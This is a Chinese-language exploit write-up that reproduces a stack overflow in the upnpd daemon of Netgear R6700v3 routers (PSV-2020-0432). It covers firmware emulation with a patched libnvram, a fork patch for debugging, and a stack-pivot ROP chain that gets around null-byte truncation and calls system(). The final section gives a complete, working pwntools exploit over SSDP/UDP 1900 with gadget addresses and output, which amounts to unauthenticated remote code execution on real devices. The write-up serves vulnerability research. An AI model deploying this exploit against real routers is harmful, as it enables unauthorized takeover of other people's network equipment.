漏洞位于/usr/sbin/upnpd,是ssdp(UDP 1900)协议的解析过程中,对MX字段的strncpy引发的栈溢出。由于是字符串拷贝,最终的利用方法仍与 PSV-2020-0211 一致,采取栈迁移的方法规避空字符截断。具体来说就是先把带00的ROP链打上栈,然后再触发栈溢出,用 ADD SP, SP, #0x800; POP {R4-R6,PC} 这种gadget完成栈迁移并将控制流打到ROP的gadget上。
漏洞定位
根据漏洞通告,可见此洞影响的版本众多:
注:PSV 是 Netgear 自己家的漏洞编号体系
以R6700v3为例,其中说明:R6700v3 running firmware versions prior to 1.0.4.102,故找到如下版本,对 /usr/sbin/upnpd 分析
binwalk解包固件,底座为 arm32:linux:uclibc,对目标程序 /usr/sbin/upnpd 搜索MX字符串,容易找到:
都不用bindiff,很明显能看到新版本在strncpy前添加了长度检查,那肯定就是这个栈溢出了。多说一句,就是这个漏洞的发生的本质是:strncpy拷贝的最大长度,错误的取决于输入,正确的应该是取决于拷贝目标。
历史漏洞
关于Netgear的upnpd可以RCE的历史漏洞,主要有两个:PSV-2020-0211 , PSV-2019-0296
PSV-2020-0211
目标:upnpd UDP 1900
原始作者:
对于此洞的复现比较多,可以找到以下完整的复现和利用过程:
- PSV-2020-0211:Netgear R8300 UPnP栈溢出漏洞分析
- Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现
- Netgear R8300 PSV-2020-0211栈溢出复现
显然PSV-2020-0432与PSV-2020-0211类似,故最后的交互为UDP 1900端口的ssdp报文。
PSV-2019-0296
目标:upnpd TCP 5000
2019 pwn2own tokyo的比赛项目,原始作者为Pedro Ribeiro和Radek Domanski:
- (0Day) (Pwn2Own) NETGEAR R6700 UPnP SOAPAction Authentication Bypass Vulnerability
- (0Day) (Pwn2Own) NETGEAR R6700 UPnP NewBlockSiteName Stack-based Buffer Overflow Remote Code Execution Vulnerability
- tokyo_drift
对于此洞的复现:
模拟运行
看起来路由器的原生系统也没有直接开放可以getshell的接口,并且之前很多文章都可以成功模拟运行upnpd,所以也尝试模拟运行,坑点仍然在nvram的hook上,主要是两点:
- 编译的libnvram.so时需要用uclibc的交叉编译工具链,否则可能无法找到函数符号
- 虚假的nvram的表项需要添加一大堆,并且IP地址配置要和本地一致,才能正常运行
对于nvram的hook,有现成的一些项目:
这里使用libnvram,打如下patch:
diff -uprN ./libnvram/config.h ./libnvram_patch/config.h
--- ./libnvram/config.h 2021-11-03 21:25:11.000000000 +0800
+++ ./libnvram_patch/config.h 2021-11-03 21:26:48.000000000 +0800
@@ -49,8 +49,8 @@
ENTRY("restore_defaults", nvram_set, "1") \
ENTRY("sku_name", nvram_set, "") \
ENTRY("wla_wlanstate", nvram_set, "") \
- ENTRY("lan_if", nvram_set, "br0") \
- ENTRY("lan_ipaddr", nvram_set, "192.168.0.50") \
+ ENTRY("lan_if", nvram_set, "ens33") \
+ ENTRY("lan_ipaddr", nvram_set, "192.168.0.110") \
ENTRY("lan_bipaddr", nvram_set, "192.168.0.255") \
ENTRY("lan_netmask", nvram_set, "255.255.255.0") \
/* Set default timezone, required by multiple images */ \
@@ -70,6 +70,18 @@
/* Used by "DGND3700 Firmware Version 1.0.0.17(NA).zip" (3425) to prevent crashes */ \
ENTRY("time_zone_x", nvram_set, "0") \
ENTRY("rip_multicast", nvram_set, "0") \
- ENTRY("bs_trustedip_enable", nvram_set, "0")
-
+ ENTRY("bs_trustedip_enable", nvram_set, "0") \
+ ENTRY("upnpd_debug_level", nvram_set, "9") \
+ ENTRY("friendly_name", nvram_set, "R6700") \
+ ENTRY("upnp_turn_on", nvram_set, "1") \
+ ENTRY("upnp_enable", nvram_set, "1") \
+ ENTRY("board_id", nvram_set, "123456") \
+ ENTRY("lan_hwaddr", nvram_set, "AA:BB:CC:DD:EE:FF") \
+ ENTRY("board_id", nvram_set, "123456") \
+ ENTRY("upnp_duration", nvram_set, "3600") \
+ ENTRY("upnp_DHCPServerConfigurable", nvram_set, "1") \
+ ENTRY("wps_is_upnp", nvram_set, "0") \
+ ENTRY("upnp_sa_uuid", nvram_set, "00000000000000000000") \
+ ENTRY("upnp_advert_ttl", nvram_set, "4") \
+ ENTRY("upnp_advert_period", nvram_set, "30")
#endif
打patch方法:
➜ ls
diff.patch libnvram
➜ patch -p0 < ./diff.patch
patching file ./libnvram/config.h
然后用uclibc编译这个库,工具可以直接在uclibc官网下到:cross-compiler-armv5l.tar.bz2
➜ cd libnvram
➜ make CC=../cross-compiler-armv5l/bin/armv5l-cc
这里提供编译好的库:libnvram.so,不过因为ip地址和网卡啥的需要与本地环境相同,可以直接用sed替换进行适配:
➜ sed -i 's/192.168.0.110/192.168.1.111/g' ./libnvram.so
➜ sed -i 's/192.168.0.255/192.168.1.255/g' ./libnvram.so
➜ sed -i 's/ens33/eth0/g' ./libnvram.so
然后直接拷贝到,设备文件系统的lib目录下,这样可以省去LD_PRELOAD:
$ cp ./libnvram.so ./lib/libnvram.so
$ cp `which qemu-arm-static` ./
$ mkdir -p ./tmp/var/run
$ mkdir -p ./firmadyne/libnvram
$ mkdir -p ./firmadyne/libnvram.override
$ sudo chroot . ./qemu-arm-static ./usr/sbin/upnpd
成功启动后,可以看到目标端口:
$ sudo netstat -pantu | grep qemu
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 54012/./qemu-arm-st
udp 0 0 0.0.0.0:1900 0.0.0.0:* 54012/./qemu-arm-st
udp 0 0 0.0.0.0:39991 0.0.0.0:* 54012/./qemu-arm-st
$ ps -ef | grep qemu
root 54012 1465 0 13:52 ? 00:00:00 ./qemu-arm-static ./usr/sbin/upnpd
xuanxuan 54046 46552 0 13:54 pts/3 00:00:00 grep --color=auto qemu
修复调试
另外运行起来后,发现进程号会变,也就是程序会fork,qemu-user无法调试,又没看到upnpd直接在哪fork了,所以直接patch其libc中的fork,让其直接return 0:
后经同伴提醒,daemon()会fork()
.text:00015ABC fork ; CODE XREF: j_fork+8↑j
.text:00015ABC ; DATA XREF: LOAD:00008D74↑o ...
.text:00015ABC 00 00 A0 E3 MOV R0, #0 ;
.text:00015AC0 3E FF 2F E1 BLX LR
如果是patch fork的调用过程则一般直接清空r0寄存器即可:
call fork -> mov r0, 0
本质都是让父进程完成子进程的工作,直接给出patch好的 libc.so.0
漏洞利用
除了NX没有任何保护:
$ checksec ./usr/sbin/upnpd
[*] './usr/sbin/upnpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
测试过长的MX:
from pwn import *
io = remote("127.0.0.1",1900,typ='udp')
payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)
io.send(payload)
开调试:
$ sudo chroot . ./qemu-arm-static -g 1234 ./usr/sbin/upnpd
的确就控制流劫持了:
$ gdb-multiarch -q
pwndbg> set architecture arm
pwndbg> set endian little
pwndbg> target remote :1234
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x61616160 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]───────────────────────────────────
R0 0x0
*R1 0x1
*R2 0x258
R3 0x0
*R4 0x61616161 ('aaaa')
*R5 0x61616161 ('aaaa')
*R6 0x61616161 ('aaaa')
R7 0x0
*R8 0xfffed580 —▸ 0xfffecf90 ◂— 0x614d2061 ('a Ma')
*R9 0xfffecf7c ◂— 0x61616161 ('aaaa')
*R10 0xfffed584 ◂— 0xff7d0020 /* ' ' */
*R11 0xc01cc ◂— 7
*R12 0xff57bedc —▸ 0xff571a50 ◂— adds r0, #0
*SP 0xfffecf58 ◂— 0x61616161 ('aaaa')
*PC 0x61616160 ('`aaa')
因为是strncpy引发的栈溢出,所以需要绕空字符,虽然qemu-user可以无视NX以及随机化,投机取巧打shellcode,但仔细分析后发现还是有正经的方法打真实的利用:
其实就是发两个包,进行如下测试:
from pwn import *
io = remote("127.0.0.1",1900,typ='udp')
payload = b'xuan\x00hello'*200
io.send(payload)
payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: %s \r\n' % (b'a'*200)
io.send(payload)
当发生控制流劫持时:
*SP 0xfffecf58 ◂— 0x61616161 ('aaaa')
*PC 0x61616160 ('`aaa')
─────────────────────────────[ DISASM ]──────────────────────────────
Invalid address 0x61616160
──────────────────────────────[ STACK ]──────────────────────────────
00:0000│ sp 0xfffecf58 ◂— 0x61616161 ('aaaa')
... ↓ 7 skipped
────────────────────────────[ BACKTRACE ]────────────────────────────
► f 0 0x61616160
─────────────────────────────────────────────────────────────────────
pwndbg> search xuan
[stack] 0xfffed6f8 'xuan'
[stack] 0xfffed702 'xuan'
[stack] 0xfffed70c 'xuan'
[stack] 0xfffed716 'xuan'
当前的栈在0xfffecf58,先发送过去的一堆xuan在0xfffed6f8,其差为:
>>> hex(0xfffed6f8 - 0xfffecf58)
'0x7a0'
并且先发过去的空字符不会被截断:
pwndbg> x /2gx 0xfffed6f8
0xfffed6f8: 0x6c6568006e617578 0x68006e6175786f6c
pwndbg> x /2s 0xfffed6f8
0xfffed6f8: "xuan"
0xfffed6fd: "helloxuan"
可找到如下gadget:
.text:00013908 ADD SP, SP, #0x800
.text:0001390C POP {R4-R6,PC}
所以完全可以先把带00的ROP链打上栈,然后再触发栈溢出,使用如上gadget栈迁移。这种栈迁移,并没有把栈迁移到其他数据段,栈还在栈上,就是错位了,这种gadget就是正常的函数结尾,所以也很常见。
- 这种打法有些类似堆喷:将恶意数据残留在内存上,之后使用
- 这种打法的情景有先后:先扔数据,再控制流劫持
- 这种打法可行的道理是:上次接受的栈上数据没有清空
最后的ROP与 Netgear R8300 UPnP栈溢出漏洞分析 相同,使用如下gadget将栈上的可控串拷贝到upnpd的bss段:
.text:0000BB44 MOV R0, R4 ; dest
.text:0000BB48 MOV R1, SP ; src
.text:0000BB4C BL strcpy
.text:0000BB50 ADD SP, SP, #0x400
.text:0000BB54 POP {R4-R6,PC}
然后打一个system即可:
.plt:0000AE64 ; int system(const char *command)
最终exp如下,bss地址使用0x970A0,只打一个ls,反弹shell的懒得弄了:
from pwn import *
io = remote("127.0.0.1",1900,typ='udp')
cmd = b'ls'
# throw rop chain to stack first
rop_chain = p32(0x970A0)
rop_chain += p32(1) * 2
rop_chain += p32(0xBB44)
rop_chain += cmd.ljust(0x400,b"\x00")
rop_chain += p32(1) * 3
rop_chain += p32(0xAE64)
io.send(b'a'*356 + rop_chain)
sleep(0.1)
# trigger stack buffer overflow to rop chain
payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: '
payload += b'a'*139
payload += p32(0x13908)[:-1]
payload += b'\r\n'
io.send(payload)
nvram_match: true
ssdp_http_method_check(204):
ssdp_discovery_msearch(1008):
MX Empty , not integer or negative!!
bin lib qemu-arm-static usr
data media sbin var
dev mnt share www
etc opt sys
firmadyne proc tmp
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
总结鸣谢
复现这个洞的技术点没有什么新颖的,都是IoT老生常谈的东西:
- hook nvram:IoT安全研究视角的交叉编译
- patch fork:HWS 2021 入营赛 Pwn/固件/内核
- bypass null byte:栈溢出时发现了00截断,应该怎么办?
hook、patch、bypass也的确是黑客常用的动词,最后感谢cq674350529师傅的文章:
- PSV-2019-0076:NETGEAR PSV-2019-0076: 从漏洞公告到PoC
- PSV-2019-0296:Pwn2Own Netgear R6700 UPnP漏洞分析
- PSV-2020-0118:Netgear R6400v2 堆溢出漏洞分析与利用
- PSV-2020-0211:PSV-2020-0211:Netgear R8300 UPnP栈溢出漏洞分析